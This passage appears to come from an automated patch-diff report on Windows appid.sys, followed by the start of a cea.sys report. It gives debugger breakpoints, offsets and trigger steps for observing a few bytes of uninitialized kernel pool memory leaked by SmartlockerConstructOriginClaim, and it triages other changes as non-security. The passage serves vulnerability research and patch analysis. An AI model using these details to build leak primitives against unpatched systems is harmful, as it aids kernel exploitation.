&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp appid!SmartlockerConstructOriginClaim (sub_1C001F138)+0x52   ; = 0x1c001f18a — ExAllocatePoolWithTag call
bp appid!SmartlockerConstructOriginClaim (sub_1C001F138)+0xed   ; = 0x1c001f225 — &amp;quot;and dword [rbx+0x38], 0&amp;quot; (NULL arg5 path, bytes 0x3C-0x3F leaked)
bp appid!SmartlockerConstructOriginClaim (sub_1C001F138)+0x100  ; = 0x1c001f238 — STATUS_SUCCESS return (buffer fully populated)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If symbols are not available, use raw offsets from the module base:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp &amp;lt;appid_base&amp;gt;+0x1f18a   ; ExAllocatePoolWithTag call
bp &amp;lt;appid_base&amp;gt;+0x1f225   ; NULL-arg5 uninit path
bp &amp;lt;appid_base&amp;gt;+0x1f238   ; return point (inspect buffer here)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Breakpoint&lt;/th&gt;
&lt;th&gt;Register/Memory&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x1f18a&lt;/code&gt; (pre-alloc)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;edx&lt;/code&gt; = allocation size (&lt;code&gt;esi&lt;/code&gt;); &lt;code&gt;ecx&lt;/code&gt; = 1 (PagedPool); &lt;code&gt;r8d&lt;/code&gt; = &lt;code&gt;'smtA'&lt;/code&gt; tag&lt;/td&gt;
&lt;td&gt;Confirm allocation parameters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x1f196&lt;/code&gt; (post-alloc)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rax&lt;/code&gt;/&lt;code&gt;rbx&lt;/code&gt; = allocated buffer pointer&lt;/td&gt;
&lt;td&gt;Record the pool address for later inspection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x1f225&lt;/code&gt; (NULL-arg5 path)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rbx+0x3C&lt;/code&gt; through &lt;code&gt;rbx+0x3F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;These 4 bytes should contain stale pool data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x1f238&lt;/code&gt; (return)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rbx&lt;/code&gt; = final buffer; inspect &lt;code&gt;dq rbx L8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Dump full buffer to see all uninitialized gaps&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Commands to run at the return breakpoint:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;(0x40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qwords&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;dq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;L8&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Focus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;0x3C-0x3F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;(last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;dword)&lt;/span&gt;
&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;rbx+0x3c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;L1&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;leaked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;looks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;kernel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;pointer&lt;/span&gt;
&lt;span class="sx"&gt;!pool rbx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key instruction offsets:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x52&lt;/code&gt; (&lt;code&gt;0x1C001F18A&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call cs:__imp_ExAllocatePoolWithTag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The allocation; no zeroing follows in the unpatched build&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Between &lt;code&gt;+0x52&lt;/code&gt; and the NULL check&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(absent)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;No zeroing call. The patched build inserts a &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1C001F1C2&lt;/code&gt;, but only on the feature-enabled path (&lt;code&gt;Feature_965997883&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xED&lt;/code&gt; (&lt;code&gt;0x1C001F225&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;and dword ptr [rbx+38h], 0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Only zeroes &lt;code&gt;[+0x38]&lt;/code&gt;; &lt;code&gt;[+0x3C..0x3F]&lt;/code&gt; left uninitialized&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enable AppLocker policy enforcement on the target system (or use WDAC).&lt;/li&gt;
&lt;li&gt;From a user-mode test harness, open &lt;code&gt;\Device\\AppID&lt;/code&gt; or simply execute a file that triggers policy evaluation:
   &lt;code&gt;c
   CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", ...);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The call chain is: file operation → kernel AppID interception → &lt;code&gt;SmartlockerVerifyProcess&lt;/code&gt; @ &lt;code&gt;0x1C0020344&lt;/code&gt; (dispatcher) → &lt;code&gt;SmartlockerManagedInstallerCheck&lt;/code&gt; @ &lt;code&gt;0x1C001F25C&lt;/code&gt; / &lt;code&gt;SmartlockerSmartscreenProcessTokenCheck&lt;/code&gt; @ &lt;code&gt;0x1C001F374&lt;/code&gt; → &lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; @ &lt;code&gt;0x1C001F138&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At the return breakpoint, &lt;code&gt;dq rbx L8&lt;/code&gt; will show the buffer. Bytes at offset &lt;code&gt;0x3C–0x3F&lt;/code&gt; (the last dword) may contain non-zero residue from a previously freed pool block when &lt;code&gt;arg5 == NULL&lt;/code&gt; — these are the uninitialized bytes.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;!pool rbx&lt;/code&gt; to inspect the pool block.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No crash&lt;/strong&gt; — this is a silent disclosure of a few bytes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Struct/offset notes:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset (from buffer base)&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Initialized by&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dword&lt;/td&gt;
&lt;td&gt;constant &lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Magic/type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x04&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dword&lt;/td&gt;
&lt;td&gt;&lt;code&gt;arg1&lt;/code&gt; (event type)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dword&lt;/td&gt;
&lt;td&gt;constant &lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x0C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dword&lt;/td&gt;
&lt;td&gt;constant &lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;16 bytes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BCryptGenRandom&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Random bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;16 bytes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BCryptGenRandom&lt;/code&gt; or copy of &lt;code&gt;0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Depends on &lt;code&gt;arg1 == 0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dword&lt;/td&gt;
&lt;td&gt;&lt;code&gt;arg4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x34&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dword&lt;/td&gt;
&lt;td&gt;&lt;code&gt;global_version&lt;/code&gt; (&lt;code&gt;data_1c0016660&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x38&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;dword&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*arg5&lt;/code&gt; or &lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x3C–0x3F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4 bytes&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;UNINITIALIZED&lt;/strong&gt; (when &lt;code&gt;arg5 == NULL&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Leaked pool data&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3&gt;For Finding 2: WIL feature-state cache refactor (not a security issue)&lt;/h3&gt;
&lt;p&gt;Finding 2 is a WIL feature-staging refactor with no security impact, so there is no exploit to reproduce. For inspection of the relevant code:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints (RVAs from the image base):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;appid&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C00028DC&lt;/span&gt;
&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;appid_base&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x290e&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmpxchg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C000290E&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;atomic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CAS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The instruction at &lt;code&gt;0x1C00028DC&lt;/code&gt; (&lt;code&gt;mov r9, cs:wil_details_featureDescriptors_a&lt;/code&gt;) loads the global feature descriptor pointer, and the CAS at &lt;code&gt;0x1C000290E&lt;/code&gt; is followed by &lt;code&gt;jnz 0x1C00028FC&lt;/code&gt; (retry). Observing this loop under contention shows a correct lock-free compare-and-swap: on failure it re-reads the current value and retries, so no update is lost. This is expected, correct behavior, not a race, and no security-relevant state can be corrupted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The write breakpoint on the global state dword will fire from multiple thread contexts.&lt;/li&gt;
&lt;li&gt;The CAS loop (&lt;code&gt;lock cmpxchg&lt;/code&gt;) may occasionally fail and retry under contention. This is the expected, correct behavior of a lock-free CAS: the retry re-reads the current value, so no update is lost and no state is corrupted.&lt;/li&gt;
&lt;li&gt;No inconsistent or torn state results; there is no security-relevant effect to observe.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Struct/offset notes:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symbol&lt;/th&gt;
&lt;th&gt;Reference&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_featureDescriptors_a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov r9, cs:wil_details_featureDescriptors_a&lt;/code&gt; at &lt;code&gt;0x1C00028DC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Global feature descriptor pointer (unpatched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;State bit &lt;code&gt;0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Set for event type 3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;State bit &lt;code&gt;0x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Set for event type 4&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-Relevant Changes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Summary&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; @ &lt;code&gt;0x1C001F138&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8129&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security-relevant&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pool allocation without zeroing → adds a &lt;code&gt;memset&lt;/code&gt; that zeroes the buffer, gated behind &lt;code&gt;Feature_965997883&lt;/code&gt;; the size base for the &lt;code&gt;arg5 != NULL&lt;/code&gt; case is &lt;code&gt;0x40&lt;/code&gt; when the feature is on and &lt;code&gt;0x42&lt;/code&gt; (original) when off. Feature-off path is identical to the unpatched code (staged rollout).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;WIL Feature-Staging Refactor (not security-relevant)&lt;/h3&gt;
&lt;p&gt;The following four functions form a single WIL (Windows Implementation Library) feature-staging refactor: the callee stops hard-coding the single global feature descriptor and instead receives a per-descriptor context pointer as a parameter. The underlying atomic compare-and-swap is already correct in both builds, and none of these functions touch an AppLocker allow/deny decision.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Summary&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/code&gt; @ &lt;code&gt;0x1C00028DC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8176&lt;/td&gt;
&lt;td&gt;Refactor (non-security)&lt;/td&gt;
&lt;td&gt;Atomic CAS retargeted from the global descriptor to &lt;code&gt;*arg3&lt;/code&gt;; adds a &lt;code&gt;lock or&lt;/code&gt; fast path when per-descriptor bytes &lt;code&gt;[arg3+0x1d]&lt;/code&gt;/&lt;code&gt;[arg3+0x1e]&lt;/code&gt; are set. The unpatched CAS is already a correct lock-free loop.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002850&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9535&lt;/td&gt;
&lt;td&gt;Refactor (non-security)&lt;/td&gt;
&lt;td&gt;Takes new &lt;code&gt;arg3&lt;/code&gt; (descriptor pointer); passes it to child functions instead of using the global descriptor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Feature_4060024122__private_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C0002E00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.6736&lt;/td&gt;
&lt;td&gt;Refactor (non-security), thunk&lt;/td&gt;
&lt;td&gt;Adds a 3rd arg (&lt;code&gt;lea r8, Feature_4060024122__private_descriptor&lt;/code&gt;); relocated to &lt;code&gt;0x1C0002E74&lt;/code&gt; in the patched binary.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureReporting_ReportUsageToServiceDirect&lt;/code&gt; @ &lt;code&gt;0x1C00022FC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9765&lt;/td&gt;
&lt;td&gt;Refactor (non-security)&lt;/td&gt;
&lt;td&gt;Hardcoded feature id and global config table → reads them from the context pointer (&lt;code&gt;*(arg1+0x18)&lt;/code&gt;, &lt;code&gt;*(arg1+8)&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureReporting_ReportUsageToService&lt;/code&gt; @ &lt;code&gt;0x1C00023EC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9897&lt;/td&gt;
&lt;td&gt;Refactor (non-security)&lt;/td&gt;
&lt;td&gt;Hardcoded id and global dispatch table → reads id from &lt;code&gt;*(arg1+0x18)&lt;/code&gt;, config from &lt;code&gt;*(arg1+0x10)&lt;/code&gt;, callback from &lt;code&gt;dword_1C0016230&lt;/code&gt;. Same event-type mapping logic.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The differences in the two &lt;code&gt;ReportUsage*&lt;/code&gt; functions are limited to register reallocation and the substitution of immediate constants with context-pointer-relative loads; the control flow and arithmetic logic are identical.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were added or removed in the patched binary (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;). The patch is entirely in-place — all changes are modifications to existing functions, not additions of new security checks or removal of vulnerable helpers.&lt;/p&gt;
&lt;p&gt;This is notable because it means the zeroing &lt;code&gt;memset&lt;/code&gt; was inserted &lt;strong&gt;inline&lt;/strong&gt; into &lt;code&gt;SmartlockerConstructOriginClaim&lt;/code&gt; @ &lt;code&gt;0x1C001F138&lt;/code&gt; rather than factored into a new wrapper function, and the WIL per-descriptor context refactor was accomplished by rethreading parameters through the existing call chain rather than introducing new dispatch functions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;h3&gt;Confidence: High (for Finding 1), High (for Finding 2 being a non-issue)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Finding 1 (uninitialized memory, Low):&lt;/strong&gt;
- The unpatched assembly shows &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; followed by partial initialization with no intervening zeroing call, leaving 4 bytes uninitialized when &lt;code&gt;arg5 == NULL&lt;/code&gt; and roughly 6 trailing bytes otherwise. This is unambiguous.
- The patched build adds a zeroing &lt;code&gt;memset&lt;/code&gt;, but only on the path taken when &lt;code&gt;Feature_965997883&lt;/code&gt; is enabled; the feature-disabled path allocates without zeroing (identical to unpatched). The fix is a staged rollout.
- The uninitialized tail is carried at full length into a process-token security attribute (&lt;code&gt;SeSetSecurityAttributesToken&lt;/code&gt;) and a file extended attribute (&lt;code&gt;AipSetEaFromOrigin&lt;/code&gt;). Both object types are user-mode-queryable by Windows design, but that final read is performed by the OS; the driver itself does not copy the buffer to a user IRP/IOCTL output. The disclosed quantity is small (4–6 bytes), which keeps the practical severity Low.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finding 2 (WIL feature-state refactor, not a security issue):&lt;/strong&gt;
- Both builds use the same lock-free atomic compare-and-swap with a re-read-and-retry loop; there is no genuine data race. The only change is that the descriptor is passed as a per-descriptor context parameter (&lt;code&gt;arg3&lt;/code&gt;) rather than read from the single global descriptor.
- These functions manipulate only WIL feature enablement/usage telemetry bits; none participate in an AppLocker allow/deny decision. There is no security impact.&lt;/p&gt;
&lt;h3&gt;What a researcher should verify manually:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Finding 1:&lt;/strong&gt; Confirm whether &lt;code&gt;Feature_965997883&lt;/code&gt; is enabled by default in the shipped configuration; if disabled, the patched driver leaves the uninitialized-allocation path in place.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 1:&lt;/strong&gt; Determine, on a live system, whether the residue placed into the token security attribute and file extended attribute is in practice queryable by an unprivileged process (&lt;code&gt;NtQueryInformationToken(TokenSecurityAttributes)&lt;/code&gt;, &lt;code&gt;NtQueryEaFile&lt;/code&gt;), and whether the 4–6 uninitialized bytes ever carry sensitive content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 1:&lt;/strong&gt; Driver Verifier with special pool can be used to confirm the use of uninitialized memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;All:&lt;/strong&gt; The &lt;code&gt;0x1C00xxxx&lt;/code&gt; addresses in this analysis are RVAs from the preferred image base, not absolute runtime addresses; confirm the loaded module base at runtime.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>cea.sys — Unnecessary caller process-handle exposure over broker RPC (CWE-668) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cea_f22fb921-cea-report-20260626-134903.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/cea_f22fb921-cea-report-20260626-134903.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;cea_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;cea_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9861&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 151 matched functions, 4 changed functions, 147 identical functions, and 0 unmatched functions in either direction. Of the 4 changed functions, only two differ in their instruction stream (&lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt;, &lt;code&gt;BriDeleteEventImpl&lt;/code&gt;); the other two (&lt;code&gt;BripMapRpcStatus&lt;/code&gt;, &lt;code&gt;BripCreateEventContext&lt;/code&gt;) are byte-for-byte the same code relocated to new addresses.&lt;/li&gt;
